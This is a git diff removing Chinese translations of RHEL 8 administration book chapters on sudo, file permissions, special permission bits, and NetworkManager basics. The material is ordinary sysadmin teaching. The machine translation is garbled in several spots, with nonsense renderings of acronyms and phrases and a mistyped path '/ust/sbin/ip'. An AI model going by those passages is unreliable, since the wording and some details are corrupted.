~]# grep usertest /etc/passwd -usertest:x:1001:1001::/home/usertest:/sbin/nologin -[root@rhel8 ~]# su - usertest -Last login: sun jan 24 16:18:07 CET 2021 on pts/0 -This account is currently not available. -[root@rhel8 ~]# usermod -s /bin/bash usertest -[root@rhel8 ~]# su - usertest -Last login: sun jan 24 16:18:15 CET 2021 on pts/0 -[usertest@rhel8 ~]$ -``` - -注意,这一次我们将检查`/etc/passwd`中的更改,因为它是应用修改的地方。 - -如您所见,很容易为任何用户设置密码老化值、锁定它们或限制对系统的访问。 让我们继续讨论更多的管理任务以及如何委派管理访问。 - -# 配置管理任务的 sudo 访问 - -有一个方式委托管理访问用户在 RHEL,它这样做有一种工具叫做**sudo**,即**超级用户做**。 - -它不仅允许您向用户或组授予完整的管理权限,而且还允许一些用户可以执行细粒度的特权命令。 - -让我们从理解默认配置以及如何更改它开始。 - -## 理解 sudo 配置 - -该工具在`/etc/sudoers`中有其主要的配置文件,并在默认配置中包含此部分: - -```sh -root ALL=(ALL) ALL -%wheel ALL=(ALL) ALL -## Read drop-in files from /etc/sudoers.d (the # here does not mean a comment) -#includedir /etc/sudoers.d -``` - -让我们逐行分析,了解它们的作用。 - -第一行允许`root`用户对他们想要运行的任何命令使用`sudo`: - -```sh -root ALL=(ALL) ALL -``` - -第二行允许`wheel`组中的用户对他们想要运行的任何命令使用`sudo`。 我们将在后面解释语法的细节: - -```sh -%wheel ALL=(ALL) ALL -``` - -重要提示 - -请不要禁用`wheel`组指令,除非有重要的原因。 此行为是其他可用程序所期望的,禁用它可能会导致一些问题。 - -第三行和所有以`#`开头的行都被认为是注释,它们仅用于添加描述性内容,而不影响最终的配置: - -```sh - ## Read drop-in files from /etc/sudoers.d (the # here does not mean a comment) -``` - -第四行是前面规则的唯一例外。 这一行启用目录`/etc/sudoers.d`作为配置文件的源。 我们可以在该文件夹中放入一个文件,它将被`sudo`使用: - -```sh -#includedir /etc/sudoers.d -``` - -最后一条规则的例外是以`~`结尾或包含`.`(点)字符的文件。 - -如您所见,缺省配置允许`root`和`wheel`组的成员使用`sudo`以管理员身份运行任何命令。 - -使用它的最简单方法是将一个用户添加到`wheel`组,以授予该用户完全的管理权限。 修改`usertest`帐号使其成为 admin 帐号的示例如下: - -```sh -[root@rhel8 ~]# usermod -aG wheel usertest -[root@rhel8 ~]# groups usertest -usertest : usertest wheel -``` - -重要提示 - -对于云实例,root 帐户没有分配有效的密码。 为了能够管理上述云实例,在一些云(如**Amazon Web Services**(**AWS**)中,默认创建一个用户并将其添加到`wheel`组中。 对于 AWS,默认用户账号为`ec2-user`。 在其他云中,还创建了一个自定义用户,并将其添加到`wheel`组中。 - -要编辑`/etc/sudoers`文件,就像编辑其他敏感文件一样,有一个工具不仅可以帮助确保两个管理员没有同时编辑它,而且还可以帮助确保语法正确。 在本例中,编辑它的工具是`visudo`。 - -## 使用 sudo 命令运行管理命令 - -我们将在这些示例中使用`user`帐户。 您可能还记得,在[*第 1 章*](01.html#_idTextAnchor014),*安装 RHEL8*中,我们启用了复选框,其中我们请求该帐户成为管理员。 在底层,该帐户被添加到`wheel`组,因此我们可以开始使用`sudo`来运行管理命令。 - -让我们用`user`帐户登录,并尝试运行一个管理命令,例如`adduser`: - -```sh -[root@rhel8 ~]# su - user -Last login: dom ene 24 19:40:31 CET 2021 on pts/0 -[user@rhel8 ~]$ adduser john -adduser: Permission denied. -adduser: cannot lock /etc/passwd; try again later. -``` - -如您所见,我们收到一个`Permission denied`错误消息。 为了能够使用`sudo`运行它,我们只需要将其添加到命令行开头: - -```sh -[user@rhel8 ~]$ sudo adduser john -We trust you have received the usual lecture from the local System -Administrator. It usually boils down to these three things: - - #1) Respect the privacy of others. - #2) Think before you type. - #3) With great power comes great responsibility. -[sudo] password for user: -[user@rhel8 ~]$ id john -uid=1002(john) gid=1002(john) groups=1002(john) -``` - -在本例中,我们看到在第一次成功运行`sudo`时显示了一条警告消息。 然后我们被要求输入我们自己的密码—不是管理员密码,因为甚至可能没有管理员密码,而是我们为运行`sudo`的用户设置的密码。 一旦密码输入正确,命令就会运行并在系统日志中注册: - -```sh -jan 24 19:44:26 rhel8.example.com sudo[2879]: user : TTY=pts/0 ; PWD=/home/user ; USER=root ; COMMAND=/sbin/adduser john -``` - -重要提示 - -成功运行`sudo`后,它将在 15 分钟内记住验证(作为默认行为)。 这样做的目的是,如果您需要在一个会话中运行多个管理命令,则不必反复键入密码。 要将其增加到 30 分钟,我们可以使用`visudo`:`Defaults:USER timestamp_timeout=30`添加以下一行。 - -有时您希望有一个交互式会话,这样就不需要一遍又一遍地键入`sudo`。 为此,`–i`选项非常有用。 让我们试一试: - -```sh -[user@rhel8 ~]$ sudo -i -[sudo] password for user: -[root@rhel8 ~]# -``` - -现在让我们继续在`sudoers`文件中定制`sudo`的配置。 - -## 配置 sudoers - -在前一节中,我们已经看到了默认`/etc/sudoers`文件的细节。 让我们看几个示例,看看如何进行更细粒度的配置。 - -让我们先让`sudo`运行管理命令,而不需要为`wheel`组中的用户请求密码。 我们可以运行`visudo`,使以`%wheel`开头的行看起来像这样: - -```sh -%wheel ALL=(ALL) NOPASSWD: ALL -``` - -保存它。 注意,配置文件中有一个注释行。 现在让我们试试: - -```sh -[user@rhel8 ~]$ sudo adduser ellen -[user@rhel8 ~]$ id ellen -uid=1003(ellen) gid=1003(ellen) groups=1003(ellen) -``` - -现在,我们可以用您喜欢的编辑器创建一个文件,以使新的用户帐户`ellen`能够运行管理命令。 让我们创建内容如下的`/etc/sudoers.d/ellen`文件: - -```sh -ellen ALL=(ALL) ALL -``` - -这样,我们就可以使用`/etc/sudoers.d`目录来扩展`sudo`配置。 - -我们将在这里回顾`sudoers`的详细配置,尽管它不是 RHCSA 考试的一部分。 如您所见,有三个字段,用空格或制表符分隔,用于在配置文件中定义策略。 让我们回顾一下: - -* The first field is to specify who is affected by the policy: - - -我们可以简单地把用户名放在第一个字段来添加用户。 - - -我们可以通过在第一个字段的组名之前使用`%`字符来添加组。 - -* The second field is for where the policy applies: - - -到目前为止,我们已经使用了`ALL=(ALL)`来指定所有内容。 - - -在该领域的第一部分,我们可以定义一组要运行的计算机,如`SERVERS=10.0.0.0/255.255.255.0`。 - - -在第二部分中,我们可以指定像`NETWORK=/usr/sbin/ip`这样的命令。 - - —括号内为可用于执行该命令的用户帐号。 - -* 第三个字段指定哪些命令将使用密码,哪些不使用。 - -语法是这样的: - -```sh -user hosts = (run-as) commands -``` - -让我们看一个例子: - -```sh -Runas_AliasDB = oracle -Host_Alias SERVERS=10.0.0.0/255.255.255.0 -Cmnd_Alias NETWORK=/ust/sbin/ip -pete SERVERS=NETWORK -julia SERVERS=(DB)ALL -``` - -我们已经看到了如何在 RHEL 中为用户提供管理访问,甚至如何以一种非常细粒度的方式进行操作。 现在让我们转到关于使用文件权限的部分。 - -# 检查、查看、修改文件权限 - -到目前为止,我们已经学习了如何创建用户和组,甚至为它们提供管理功能。 现在我们来看看文件和目录级别的权限是如何工作的。 - -正如你所记得的,在[*第三章*](03.html#_idTextAnchor029),*基本命令和简单 Shell 脚本*中,我们已经看到了如何查看应用到文件的权限。 现在让我们来回顾一下,并进行更深入的研究。 - -让我们通过使用`–l`(for long)选项来列出一些示例文件的权限信息。 记住以`root`用户(或使用`sudo`)的形式运行: - -```sh -[root@rhel8 ~]# ls -l /usr/bin/bash --rwxr-xr-x. 1 root root 1150704 jun 23 2020 /usr/bin/bash -[root@rhel8 ~]# ls -l /etc/passwd --rw-r--r--. 1 root root 1324 ene 24 21:35 /etc/passwd -[root@rhel8 ~]# ls -l /etc/shadow -----------. 1 root root 1008 ene 24 21:35 /etc/shadow -[root@rhel8 ~]# ls -ld /tmp -drwxrwxrwt. 8 root root 172 ene 25 17:35 /tmp -``` - -记住,在 Linux 中,*所有内容都是一个文件*。 - -现在让我们通过使用`/usr/bin/bash`的权限来回顾权限包含的五个不同的信息块: - -```sh --rwxr-xr-x. -``` - -积木如下: - -![](img/B16799_05_Table_01.jpg) - -让我们再回顾一遍,因为它们非常重要。 - -第 1 块用于文件可能具有的特殊权限。 如果它是一个普通的文件并且没有特殊的权限(就像在这种情况下),它将显示为`-`: - -* 目录将以`d`显示。 -* 链接,通常是符号链接,将以`l`显示。 -* 作为不同的用户或组(称为**setuid**或**setgid**)运行文件的特殊权限将显示为`s`。 -* 对目录的特殊权限,使所有者只能删除或重命名文件,称为**粘着位**将显示为`t`。 - -Block 2 为*用户*拥有文件的权限,由 3 个字符组成: - -* 第一个,`r`,是分配的读权限。 -* 第二个,`w`,是分配的写权限。 -* 第三个,`x`,是可执行权限。 (请注意,目录的可执行权限意味着能够进入它们。) - -第 3 块是*组*的权限。 它由相同的三个字符组成,用于读、写和执行(`rwx`)。 在本例中,缺少 write。 - -第 4 块是*其他*的权限。 它同样由三个相同的字符组成,用于读取、写入和执行(`rwx`)。 与前一个块中一样,没有写。 - -第 5 块表示有一个**SELinux**上下文应用于该文件。 [*第十章*](10.html#_idTextAnchor143)*用 SELinux 加固系统* - -要更改文件的权限,我们将使用`chmod`命令。 - -首先,让我们创建一个文件: - -```sh -[root@rhel8 ~]# touch file.txt -[root@rhel8 ~]# ls -l file.txt --rw-r--r--. 1 root root 0 ene 27 18:30 file.txt -``` - -如您所见,该文件是用您的用户名作为所有者、主组作为组和一组默认权限创建的。 默认权限集由`umask`定义,在 RHEL 中,新创建的文件权限的默认值如下: - -* 用户:读写 -* **组**:读 -* **其他**:读 - -要使用`chmod`更改权限,我们用三个字符指定更改: - -* The first one, which determines whom the change affects: - - -`u`:用户 - - -`g`:组 - - -`o`:其他 - -* The second one to add or remove permissions: - - -`+`:添加 - - -`-`:移除 - -* The third one, which determines the permission to be changed: - - -`r`:阅读 - - -`w`:写 - - -`x`:执行 - -因此,要给组添加写权限,我们可以执行以下操作: - -```sh -[root@rhel8 ~]# chmod g+w file.txt -[root@rhel8 ~]# ls -l file.txt --rw-rw-r--. 1 root root 0 ene 27 18:30 file.txt -``` - -为了删除其他人的读取权限,我们运行如下命令: - -```sh -[root@rhel8 ~]# chmod o-r file.txt -[root@rhel8 ~]# ls -l file.txt --rw-rw----. 1 root root 0 ene 27 18:30 file.txt -``` - -权限以 4 个八进制数字存储。 这意味着特殊权限存储在从 0 到 7 的数字中,存储用户、组和其他权限的方式相同,每个权限都有一个从 0 到 7 的数字。 - -一些例子如下: - -![](img/B16799_05_Table_02.jpg) - -它是如何工作的? 我们为每个权限分配一个数字(2 的幂): - -* **Nothing**:0 -* **执行**:2^0 = 1 -* 写下:2^1 = 2 -* **读**:2^2 = 4 - -我们将它们添加: - -```sh -rwx = 4 + 2 + 1 = 7 -rw- = 4 + 2 = 6 -r-x = 4 + 1 = 5 -r-- = 4 ---- = 0 -``` - -这就是使用数字分配权限的方法。 现在让我们试试: - -```sh -[root@rhel8 ~]# chmod 0755 file.txt -[root@rhel8 ~]# ls -l file.txt --rwxr-xr-x. 1 root root 0 ene 27 18:30 file.txt -[root@rhel8 ~]# chmod 0640 file.txt -[root@rhel8 ~]# ls -l file.txt --rw-r-----. 1 root root 0 ene 27 18:30 file.txt -[root@rhel8 ~]# chmod 0600 file.txt -[root@rhel8 ~]# ls -l file.txt --rw-------. 1 root root 0 ene 27 18:30 file.txt -``` - -如前所述,权限的默认配置由`umask`设置。 我们可以很容易地看到它的价值: - -```sh -[root@rhel8 ~]# umask -0022 -``` - -所有新创建的文件都有`execute`权限被删除(`1`)。 - -使用 RHEL 中默认提供的`umask`、`0022`,我们将删除`group`和`others`的`write`权限(`2`)。 - -即使不建议改变`umask`,我们也可以尝试去了解它是如何工作的。 让我们从最开放的`umask`,`0000`开始,看看所有的`read`和`write`权限是如何分配给新创建的文件的: - -```sh -[root@rhel8 ~]# umask 0000 -[root@rhel8 ~]# touch file2.txt -[root@rhel8 ~]# ls -l file2.txt --rw-rw-rw-. 1 root root 0 ene 27 18:33 file2.txt -``` - -现在让我们对`group`和`others`权限使用更严格的`umask`: - -```sh -[root@rhel8 ~]# umask 0066 -[root@rhel8 ~]# touch file3.txt -[root@rhel8 ~]# ls -l file3.txt --rw-------. 1 root root 0 ene 27 18:33 file3.txt -``` - -如果我们尝试一个更大的数字,它将不起作用,并返回一个错误: - -```sh -[root@rhel8 ~]# umask 0088 --bash: umask: 0088: octal number out of range -``` - -可以看到,`0066`和`0077`的效果是一样的: - -```sh -[root@rhel8 ~]# umask 0077 -[root@rhel8 ~]# touch file4.txt -[root@rhel8 ~]# ls -l file4.txt --rw-------. 1 root root 0 ene 27 18:35 file4.txt -``` - -让我们在我们的会话中重新建立`umask`,按照默认,继续练习: - -```sh -[root@rhel8 ~]# umask 0022 -``` - -现在我们可能发现自己需要为特定的用户或组创建一个目录,或者更改一个文件的所有者。 为了能够更改文件或目录的所有权,可以使用`chown`或`chgrp`工具。 让我们看看它是如何工作的。 移动到`/var/tmp`,为`finance`和`accounting`创建文件夹: - -```sh -[root@rhel8 ~]# cd /var/tmp/ -[root@rhel8 tmp]# mkdir finance -[root@rhel8 tmp]# mkdir accounting -[root@rhel8 tmp]# ls -l -total 0 -drwxr-xr-x. 2 root root 6 ene 27 19:35 accounting -drwxr-xr-x. 2 root root 6 ene 27 19:35 finance -``` - -现在让我们为`finance`和`accounting`创建组: - -```sh -[root@rhel8 tmp]# groupadd finance -[root@rhel8 tmp]# groupadd accounting -groupadd: group 'accounting' already exists -``` - -在本例中,已经创建了`accounting`组。 让我们用`chgrp`来更改每个目录的组: - -```sh -[root@rhel8 tmp]# chgrp accounting accounting/ -[root@rhel8 tmp]# chgrp finance finance/ -[root@rhel8 tmp]# ls -l -total 0 -drwxr-xr-x. 2 root accounting 6 ene 27 19:35 accounting -drwxr-xr-x. 2 root finance 6 ene 27 19:35 finance -``` - -现在我们为`sonia`和`matilde`创建用户,并将分别分配给`finance`和`accounting`: - -```sh -[root@rhel8 tmp]# adduser sonia -[root@rhel8 tmp]# adduser matilde -[root@rhel8 tmp]# usermod -aG finance sonia -[root@rhel8 tmp]# usermod -aG accounting matilde -[root@rhel8 tmp]# groups sonia -sonia : sonia finance -[root@rhel8 tmp]# groups matilde -matilde : matilde accounting -``` - -现在我们可以在他们的组文件夹下为他们创建一个个人文件夹: - -```sh -[root@rhel8 tmp]# cd finance/ -[root@rhel8 finance]# mkdir personal_sonia -[root@rhel8 finance]# chown sonia personal_sonia -[root@rhel8 finance]# ls -l -total 0 -drwxr-xr-x. 2 sonia root 6 ene 27 19:44 personal_sonia -[root@rhel8 finance]# chgrp sonia personal_sonia/ -[root@rhel8 finance]# ls -l -total 0 -drwxr-xr-x. 2 sonia sonia 6 ene 27 19:44 personal_sonia -``` - -有一种方法可以将用户和组指定为`chown`,即使用`:`分隔符。 让我们把它和`matilde`一起使用: - -```sh -[root@rhel8 tmp]# cd ../accounting -[root@rhel8 accounting]# mkdir personal_matilde -[root@rhel8 accounting]# chown matilde:matilde \ -personal_matilde -[root@rhel8 accounting]# ls -l -total 0 -drwxr-xr-x. 2 matilde matilde 6 ene 27 19:46 personal_matilde -``` - -如果我们想要为整个分支更改权限,我们可以将`chown`与`–R`一起使用,以实现递归。 让我们复制一个分支并更改其权限: - -```sh -[root@rhel8 accounting]# cp -rv /usr/share/doc/audit personal_matilde/ -'/usr/share/doc/audit' -> 'personal_matilde/audit' -'/usr/share/doc/audit/ChangeLog' -> 'personal_matilde/audit/ChangeLog' -'/usr/share/doc/audit/README' -> 'personal_matilde/audit/README' -'/usr/share/doc/audit/auditd.cron' -> 'personal_matilde/audit/auditd.cron' -[root@rhel8 accounting]# chown -R matilde:matilde \ -personal_matilde/audit -[root@rhel8 accounting]# ls -l personal_matilde/audit/ -total 20 --rw-r--r--. 1 matilde matilde 271 ene 28 04:56 auditd.cron --rw-r--r--. 1 matilde matilde 8006 ene 28 04:56 ChangeLog --rw-r--r--. 1 matilde matilde 4953 ene 28 04:56 README -``` - -这样,我们就很好地理解了 RHEL 中的权限、它们的默认行为以及如何使用它们。 - -让我们继续讨论一些关于权限的更高级的主题。 - -# 使用特殊权限 - -正如我们在上一节中看到的,可以应用于文件和目录的一些特殊权限。 让我们从 Set-UID(或**suid**)和 Set-GUID(或**sgid**)开始。 - -## 理解和应用 Set-UID - -让我们回顾 Set-UID 如何应用于文件和目录: - -* **Set-UID 权限应用到一个文件**:当应用到一个可执行文件时,这个文件将像文件的所有者正在运行它一样运行,应用权限。 -* **Set-UID 权限应用到目录**:无效。 - -让我们检查一个带有 Set-UID 的文件: - -```sh -[root@rhel8 ~]# ls -l /usr/bin/passwd --rwsr-xr-x. 1 root root 33544 dic 13 2019 /usr/bin/passwd -``` - -`passwd`命令需要`root`权限才能更改`/etc/shadow`文件中的哈希值。 - -要应用此权限,我们可以使用`chmod`命令,应用`u+s`权限: - -```sh -[root@rhel8 ~]# touch testsuid -[root@rhel8 ~]# ls -l testsuid --rw-r--r--. 1 root root 0 ene 28 05:16 testsuid -[root@rhel8 ~]# chmod u+s testsuid -[root@rhel8 ~]# ls -l testsuid --rwsr--r--. 1 root root 0 ene 28 05:16 testsuid -``` - -提示 - -当将`suid`作为`root`分配给文件时,要非常小心。 如果对文件保留写权限,则任何用户都可以像`root`一样更改内容并执行任何操作。 - -## 理解和应用 Set-GID - -让我们回顾 Set-GID 如何应用于文件和目录: - -* **Set-GID 权限应用到文件**:当应用到可执行文件时,该文件将以该文件的组权限运行。 -* **Set-GID 权限应用到目录**:在该目录下创建的新文件将应用该目录的组。 - -让我们检查一个带有 Set-GID 的文件: - -```sh -[root@rhel8 ~]# ls -l /usr/bin/write --rwxr-sr-x. 1 root tty 21232 jun 26 2020 /usr/bin/write -``` - -我们可以尝试使用`g+s`对带有`chmod`的文件应用权限: - -```sh -[root@rhel8 ~]# touch testgid -[root@rhel8 ~]# chmod g+s testgid -[root@rhel8 ~]# ls -l testgid --rw-r-sr--. 1 root root 0 ene 28 05:23 testgid -``` - -现在让我们尝试使用一个目录。 让我们回到之前的例子: - -```sh -[root@rhel8 ~]# cd /var/tmp/ -[root@rhel8 tmp]# ls -accounting finance -[root@rhel8 tmp]# chmod g+s accounting finance -[root@rhel8 tmp]# ls -l -total 0 -drwxr-sr-x. 3 root accounting 30 ene 27 19:46 accounting -drwxr-sr-x. 3 root finance 28 ene 27 19:44 finance -[root@rhel8 tmp]# touch finance/testfinance -[root@rhel8 tmp]# ls -l finance/testfinance --rw-r--r--. 1 root finance 0 ene 28 05:27 finance/testfinance -[root@rhel8 tmp]# touch accounting/testaccounting -[root@rhel8 tmp]# ls -l accounting/testaccounting --rw-r--r--. 1 root accounting 0 ene 28 05:27 accounting/testaccounting -``` - -您可以看到,在将 Set-GID 应用到文件夹之后,它们显示了组的`s`权限(粗体)。 此外,在这些目录中创建新文件时,分配给它们的组与父目录拥有的组相同(同样以粗体显示)。 通过这种方式,我们确保正确地分配了组权限。 - -## 使用粘位 - -最后一个要使用的权限是**粘着位**。 它只对目录有影响,而且它的作用很简单:当用户在具有 sticky 位的目录中创建一个文件时,只有该用户可以编辑或删除该文件。 - -让我们看一个例子: - -```sh -[root@rhel8 ~]# ls -ld /tmp -drwxrwxrwt. 8 root root 172 ene 28 04:31 /tmp -``` - -我们可以将这些应用到前面的例子中,也可以使用`o+t`中的`chmod`: - -```sh -[root@rhel8 ~]# cd /var/tmp/ -[root@rhel8 tmp]# ls -l -total 0 -drwxr-sr-x. 3 root accounting 52 ene 28 05:27 accounting -drwxr-sr-x. 3 root finance 47 ene 28 05:27 finance -[root@rhel8 tmp]# chmod o+t accounting finance -[root@rhel8 tmp]# ls -l -total 0 -drwxr-sr-t. 3 root accounting 52 ene 28 05:27 accounting -drwxr-sr-t. 3 root finance 47 ene 28 05:27 finance -``` - -让我们试一试。 我们将用户`sonia`添加到`accounting`组。 我们将为这个组授予`/var/tmp/accounting`目录的写权限。 然后,我们将使用用户`matilde`创建一个文件,并尝试使用用户`sonia`删除该文件。 让我们去: - -```sh -[root@rhel8 ~] # usermod -aG accounting sonia -[root@rhel8 ~]# cd /var/tmp/ -[root@rhel8 tmp]# chmod g+w accounting -[root@rhel8 tmp]# ls -l -total 0 -drwxrwsr-t. 3 root accounting 52 ene 28 05:27 accounting -drwxr-sr-t. 3 root finance 47 ene 28 05:27 finance -[root@rhel8 tmp]# su - matilde -Last login: jue ene 28 05:41:09 CET 2021 on pts/0 -[matilde@rhel8 ~]$ cd /var/tmp/accounting/ -[matilde@rhel8 accounting]$ touch teststickybit -[matilde@rhel8 accounting]$ exit -logout -[root@rhel8 tmp]# su - sonia -[sonia@rhel8 ~]$ cd /var/tmp/accounting/ -[sonia@rhel8 accounting]$ ls -l teststickybit --rw-rw-r--. 1 matilde accounting 0 Jan 28 05:43 teststickybit -[sonia@rhel8 accounting]$ rm -f teststickybit -rm: cannot remove 'teststickybit': Operation not permitted -``` - -提示 - -特殊权限的数值为:`suid`=`4`; `sgid`=`2`; `sticky bit`=`1`。 - -至此,我们已经完成了如何在 RHEL 中管理权限。 - -# 总结 - -在本章中,我们回顾了 RHEL 中使用传统权限实现的权限管理系统。 我们学习了如何创建用户帐户和组,以及如何确保正确管理密码。 我们还学习了如何在系统中存储密码,甚至如何阻止 shell 访问用户。 我们已经创建了文件和文件夹,为它们分配了权限,并确保用户可以使用一组强制的规则进行协作。 - -这些是 RHEL 中管理访问的基础,对于避免管理系统时的安全问题非常有用。 由于这是一个如此重要的主题,我们建议仔细阅读这一章,阅读`man`页面中显示的命令,并努力真正很好地理解这一主题,因为这将避免在未来出现任何不舒服的情况。 - -现在,您已经准备好开始向用户提供服务并管理他们的访问,这是我们将在下一章中讨论的内容。 记住要练习和彻底测试在这里学到的教训。 \ No newline at end of file diff --git a/docs/rhel8-admin/06.md b/docs/rhel8-admin/06.md deleted file mode 100644 index fd57e897..00000000 --- a/docs/rhel8-admin/06.md +++ /dev/null @@ -1,498 +0,0 @@ -# 六、启用网络连接 - -在第一章安装系统时,我们启用了网络接口。 然而,网络配置是,或者可以是,甚至不止于此。 - -连接到网络的服务器可能需要额外的接口来配置其他网络; 例如,对于达到备份服务器,执行内部服务从其他服务器,甚至直接访问存储,不是通过存储阵列网络(SAN)作为本地驱动器,而是作为,例如,**互联网小型计算机系统接口**(**iSCSI)驱动器。** - - **此外,服务器可以使用冗余网络功能,以确保在其中一个卡、交换机等出现故障时,仍然可以访问服务器并正常执行。 - -在本章中,我们将学习如何使用不同的方法定义 RHEL 机器的网络配置,并执行一些基本的网络故障排除。 - -这些知识将是关键,因为服务器通常用于向其他系统提供服务,为此我们需要网络。 - -在本章中,我们将涵盖以下主题: - -* 探索 RHEL 中的网络配置 -* 配置文件和 NetworkManager -* 配置 IPv4 和 IPv6 网络接口 -* 配置主机名和主机名解析(DNS) -* 防火墙配置概述 -* 测试连接 - -让我们动手建立网络吧! - -# 技术要求 - -您可以在[*第一章*](01.html#_idTextAnchor014),*安装 RHEL8*中继续使用我们在本书开头创建的虚拟机。 此外,测试网络通信,它可能是有用的创建第二个虚拟机或重用我们在前面章节中创建用于测试**网络时间协议**(【显示】国家结核控制规划)配置,我们将使用它来检查连接。 所需要的任何其他软件包将在文本中说明。 本章所需的其他文件可从[https://github.com/PacktPublishing/Red-Hat-Enterprise-Linux-8-Administration](https://github.com/PacktPublishing/Red-Hat-Enterprise-Linux-8-Administration)下载。 - -# 在 RHEL 中探索网络配置 - -一个网络由组成,这些不同的设备被连接在一起,这样信息和资源就可以在它们之间共享; 例如,Internet 访问、打印机、文件等等。 - -网络从计算开始就存在了。 最初,最常见的是非基于 IP 的网络,它通常用于在局域网内的计算机之间共享数据,但随着 internet 服务的扩展和应用或远程服务的需求,IP 网络得到了扩展,intranet 的概念被引入。 **的传输控制协议/互联网协议**(**TCP / IP****)被用来运输,和应用开始更像互联网服务(甚至是基于他们)。** - -基于 ip 网络的迁移也适应其他协议如**网络基本输入/输出系统**(**NetBIOS),这样他们就可以在其上运行(这是工作上的**NetBIOS 扩展用户界面**(【显示】NetBEUI**), 甚至如果其他网络如【病人】InfiniBand 或**远程直接内存访问**(【t16.1】RDMA)仍在使用,他们不是一样普遍 TCP / IP)。 - -当然,TCP/IP 是建立在其他协议之上的。 您可以在[https://www.redhat.com/sysadmin/osi-model-bean-dip](https://www.redhat.com/sysadmin/osi-model-bean-dip)查看 OSI 层定义。 然而,仍然涉及到一些概念。 当我们熟悉 TCP/IP 和网络时,我们将讨论这些。 - -在我们进入实际细节之前,我们需要澄清一些常见的 TCP/IP 和网络关键字,我们将从现在开始使用: - -* **IP 地址**:用于与网络上的其他设备交互的地址。 -* **网络掩码**:用于确定哪些设备在邻居中。 它可以通过掩码或网络大小来表示,如`255.255.255.0`或`/24`。 -* **网关**:这个设备的 IP 地址,当目标设备在我们的网络掩码之外时,它将获取我们的所有流量,因此我们不能直接到达它。 -* **DNS**:这是一个或多个服务器的 IP 地址,它将**域名**转换为 IP 地址,以便主机能够连接到它们。 -* **MAC 地址**:物理接口地址。 它对每张卡片都是唯一的,并帮助识别网络中的卡片,以便向它发送适当的流量。 -* **网络接口卡(NIC)**:此卡允许我们的设备连接到网络。 它可能是无线的,有线的,等等。 -* **ESSID (Extended Service Set Identification)**:这是无线网络的命名方式。 -* **Virtual Private Network (VPN)**:此是在客户端和服务器之间创建的虚拟网络。 一旦建立,它允许您直接连接到服务,就好像它们是本地的一样,即使客户机和服务器在不同的地方。 例如,VPN 网络允许远程工作人员使用他们的私有 internet 连接到他们的公司网络。 -* **Virtual Local Area Network (VLAN)**:这允许我们在实际连接之上的上定义虚拟网络。 然后,我们可以使用特定的报头字段让网络设备正确地理解和处理它们。 -* **IPv6**:这是**IPv4**的替代协议,而**IPv4**仍然是当今网络中的主要协议。 - -在接下来的章节中,我们将使用其中的一些术语来解释网络是如何建立的,以及在**Red Hat Enterprise Linux**(**RHEL**)系统中如何定义。 - -一般情况下,当系统连接时,网络上的设备之间会建立一些关系。 有时,一些主机是服务的提供者,通常被称为服务器,而消费者被称为客户端。 当网络中的系统执行角色时,这些网络称为**点对点**(**点对点**)网络。 - -在下一节中,我们将熟悉配置文件和在系统中配置网络的不同方法。 - -# 了解配置文件和 NetworkManager - -既然我们已经学习了一些联网的关键字和概念,现在是时候看看我们可以在哪里使用它们使我们的系统联网了。 - -传统上,网络接口是通过系统中的`/etc/sysconfig/network-scripts/`文件夹下的文本文件配置的。 这些脚本是通过`network-scripts`包提供的实用程序处理的,这些实用程序负责使用定义的配置启动网络堆栈并运行。 - -重要提示 - -虽然`network-scripts`包是可用的和可以安装,它被认为是**弃用**,,这意味着提供的包和可用但可能消失在未来主要版本的操作系统,所以他们只会提供给缓解过渡向更新的方法。 - -*NetworkManager*是一个创建于 2004 年的实用程序,它让桌面用户更容易地配置和使用网络。 在那个时候,所有的配置都是通过文本文件完成的,它或多或少是静态的。 一旦一个系统被连接到网络上,信息几乎不会改变。 随着无线网络的采用,需要更多的灵活性来自动化和简化通过不同配置文件、vpn 等连接到不同网络的过程。 - -使填补预算缺口,旨在创建一个组件,用于许多发行版,但从一个新的角度来看,例如,它查询**硬件抽象层(HAL**)在启动时了解可用网络设备及其变化。**** - - **想象一个笔记本电脑系统; 它可以连接到有线电缆上,当你把它移到另一个位置或隔间时,它可以断开,可以连接到无线网络,等等。 所有这些事件都中继到 NetworkManager,而 NetworkManager 负责重新配置网络接口、路由、使用无线网络进行身份验证,并使用户的生活比传统的轻松得多。 - -提示 - -连接到系统的硬件可以通过几个命令查询,这取决于硬件是如何连接的; 例如,通过`lsusb`、`lspci`或`lshw`等实用程序(分别通过安装`usbutils`、`pciutils`和`lshw`包提供)。 - -在下面的截图中,我们可以看到与 NetworkManager 相关的可用包,通过`dnf search network manager`命令获取: - -![Figure 6.1 – NetworkManagermanager-related packages available for installation in a Red Hat Enterprise Linux 8 system ](img/B16799_06_001.jpg) - -图 6.1 -安装在 Red Hat Enterprise Linux 8 系统中的 networkmanagermanager 相关软件包 - -`NetworkManagermanager`被配置为`/etc/NetworkManager`文件夹中的文件,特别是`NetworkManager.conf`以及该文件夹中可用的文件: - -* `conf.d` -* `dispatcher.d` -* `dnsmasq-shared.d` -* `dnsmasq.d` -* `system-connections` - -不记得调度员是什么? 记住使用`man networkmanager`来获取详细信息! - -NetworkManager 的手册页解释说,这些脚本是根据网络事件的字母顺序执行的,并且会收到两个参数:事件的设备名和动作。 - -您可以执行以下几个操作: - -* `pre-up`:接口已连接到网络,但尚未激活。 该脚本必须在连接被通知为激活之前执行。 -* `up`:接口已被激活。 -* `pre-down`:接口正处于去激活状态,但尚未断开网络连接。 在强制断开的情况下(丢失无线连接或丢失运营商),这将不会执行。 -* `down`:接口已去激活。 -* `vpn-up`/`vpn-down`/`vpn-pre-up`/`vpn-pre-down`:与上述接口类似,但用于 VPN 连接。 -* `hostname`:主机名已更改。 -* `dhcp4-change`/`dhcp6-change`:DHCP 租期发生了变化(更新、反弹等)。 -* `connectivity-change`:连接过渡,如无连接、系统上线等。 - -现在,我们已经学习了一点关于 NetworkManager 的知识,以及它是如何工作和设计的,让我们学习如何配置网络接口。 - -# 配置 IPv4 和 IPv6 网络接口 - -有几种方法来配置网络接口和几种网络配置。 这些将帮助我们确定需要做什么以及所需的参数和设置。 - -让我们来看一些例子: - -* 一个服务器可能有两个或多个**网络接口卡**(**网卡**)用于冗余,但一次只有一个是活动的。 -* 服务器可能使用中继网络,并要求我们在其上定义 vlan 来访问或提供网络中的不同服务。 -* 可以通过组合两个或更多的 nic 来提供更多的输出和冗余。 - -配置也可以通过几种方式执行: - -* `nmtui`:基于文本的接口,配置网络 -* `nmcli`:用于 NetworkManager 的命令行界面 -* `nm-connection-editor`:可用于图形环境的图形工具 -* Via text configuration files - - 重要提示 - - 